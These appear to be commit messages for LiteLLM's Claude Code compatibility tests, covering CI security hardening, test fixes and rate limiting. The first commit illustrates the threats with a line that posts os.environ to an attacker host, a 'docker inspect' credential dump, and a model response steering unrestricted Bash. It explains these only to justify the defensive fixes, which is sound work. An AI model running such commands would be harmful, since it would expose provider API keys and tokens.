Address two new Veria comments (2026-05-18T00:10:41Z) on the
claude_code_compat_pr_gate job:
1. .circleci/config.yml (Veria: provider credentials exposed to PR code)
The pytest step runs PR-controlled test code (anything under
tests/claude_code/) and the CircleCI job env carries the provider
creds used to start the proxy container. A malicious PR could add
`requests.post(attacker, data=os.environ)` to any test or
conftest hook and exfiltrate ANTHROPIC_API_KEY / AWS_* /
VERTEXAI_* / AZURE_FOUNDRY_* / GITHUB_TOKEN.
Pytest only needs to talk to the proxy at localhost:4000, so the
credentials are not legitimately required in pytest's env. Wrap
the invocation in `env -i` with a minimal allowlist (PATH /
HOME / USER / TERM / LANG / LC_ALL / TMPDIR + the four
proxy/result-path vars pytest actually reads). Pinned by a new
test in test_circleci_pr_gate_wiring.py so the scrub cannot
silently regress.
2. tests/claude_code/{tool_use,tool_use_streaming,thinking_with_tool_use}
(Veria: model-controlled Bash execution in CI)
The three Bash-using feature directories passed `--allowed-tools
Bash` unrestricted, which lets a compromised provider response
choose any host command to run instead of `echo pong`. On the
PR-gate machine executor that command could `docker inspect
compat-proxy` to dump provider creds from the proxy container.
Tighten every Bash-using cell (15 files total, 5 providers × 3
feature dirs) to:
- --allowed-tools 'Bash(echo pong)' — exact-match pattern per
Claude Code's permission rule syntax. A different command
does not match the allow rule.
- --permission-mode dontAsk — auto-denies tool calls outside the
allow rule instead of falling back to the headless default
(which would defeat the explicit-allow contract).
thinking_with_tool_use prompts are tightened to pin the command
to 'echo pong' so the cell can run under the new restriction
while still exercising the thinking + tool_use shape.
Pinned by a new parametrized test (15 cells × 2 properties = 30
cases) in test_bash_tool_restrictions.py.
The model-Bash mitigation is layered on top of the existing
cli_driver env allowlist (which already scrubs provider creds from
the CLI subprocess env, so even a malicious `echo $ANTHROPIC_API_KEY`
prints nothing) and the build-and-test branch filter (which keeps
external forks from running this job at all). It is not a substitute
for a fully sandboxed CLI runner; the residual risk of Claude Code's
built-in read-only `echo` auto-approve is documented in the per-cell
comments alongside the restriction.
All 223 tests/claude_code/ unit tests pass.
Co-authored-by: Cursor Agent <cursoragent@cursor.com>
These three cells were failing for reasons unrelated to LiteLLM
translation:
- vision: tests passed `--image <path>`, a flag that no longer exists
in Claude Code 2.x (image attachment is now via the Files API or via
`--input-format stream-json` with inline content blocks). Rewrite
the cells to feed an Anthropic-shaped user message containing both
text and a base64 `image` content block through stdin in stream-json
mode. Hermetic — no temp file or Files API upload needed.
- extended_thinking: tests set `MAX_THINKING_TOKENS=4096` as an env
var, which Claude Code 2.x ignores. Switch to `--effort max` (the
current CLI knob) and use a non-trivial prompt (3-gallon / 5-gallon
jug puzzle). With trivial arithmetic the modern Sonnet/Opus tiers
optimize away the thinking step and arrive without a thinking block,
which made the test silently false-fail.
- web_search: assertion looked for `server_tool_use` /
`web_search_tool_result` blocks, but Claude Code's `WebSearch` is
a *client-side* tool: the CLI executes the search itself and feeds
the result back as a regular `tool_result` block. The Anthropic
server-side `web_search_20250305` tool only fires when injected
into the request directly (which the CLI does not do). Update the
assertion to look for a `tool_use` block whose name is
`WebSearch` — that's the right signal that the proxy preserved
both the request-side tool definition and the response-side tool_use
block end-to-end.
Driver change required to support stream-json input + variadic flags:
- cli_driver: insert `--` before the prompt positional. Variadic
flags like `--allowed-tools <tools...>` (commander.js) greedily
consume every following token, so the prompt was being eaten as a
tool name and the CLI would error out with "Input must be provided
either through stdin or as a prompt argument when using --print".
- cli_driver: thread a `stdin_input` parameter through `run_claude`
and `run_claude_models_parallel` so the vision rewrite can pipe
stream-json events to the CLI on stdin.
Validated end-to-end against a live LiteLLM proxy: all three Anthropic
cells now pass on Haiku 4.5, Sonnet 4.6, and Opus 4.7. Driver unit
tests (120) still green.
- Switch all per-cell tests from @pytest.mark.parametrize("model", ...)
(3 sequential invocations) to a single test that fans out to all 3
Claude tiers via run_claude_models_parallel. Per-cell wall time is now
bounded by the slowest model rather than the sum.
- Add 5 new v0 feature dirs (5 providers each, 25 new test files):
web_search, pdf_input, prompt_caching_1h,
tool_use_streaming, thinking_with_tool_use
Manifest expanded to match.
- Add cross-process token-bucket rate limiter (rate_limiter.py + tests)
so xdist workers stay under per-provider req/s limits during full-grid
runs. New env knobs: LITELLM_COMPAT_RATE_{ANTHROPIC,AZURE,VERTEX_AI,
BEDROCK_CONVERSE,BEDROCK_INVOKE}.
- conftest.py: write per-worker shards under <artifact>.shards/, merge
in the controller; preserve the "don't write empty artifact" guard so
unit-test runs don't clobber a real compat-results.json.
- Vertex test_config.yaml: route project/location through env so the
cron VM can target a different GCP project than the upstream default.
- Add run_compat.sh wrapper for binary-searching ideal req/s per
provider against compat-rate-limit-summary.json output.
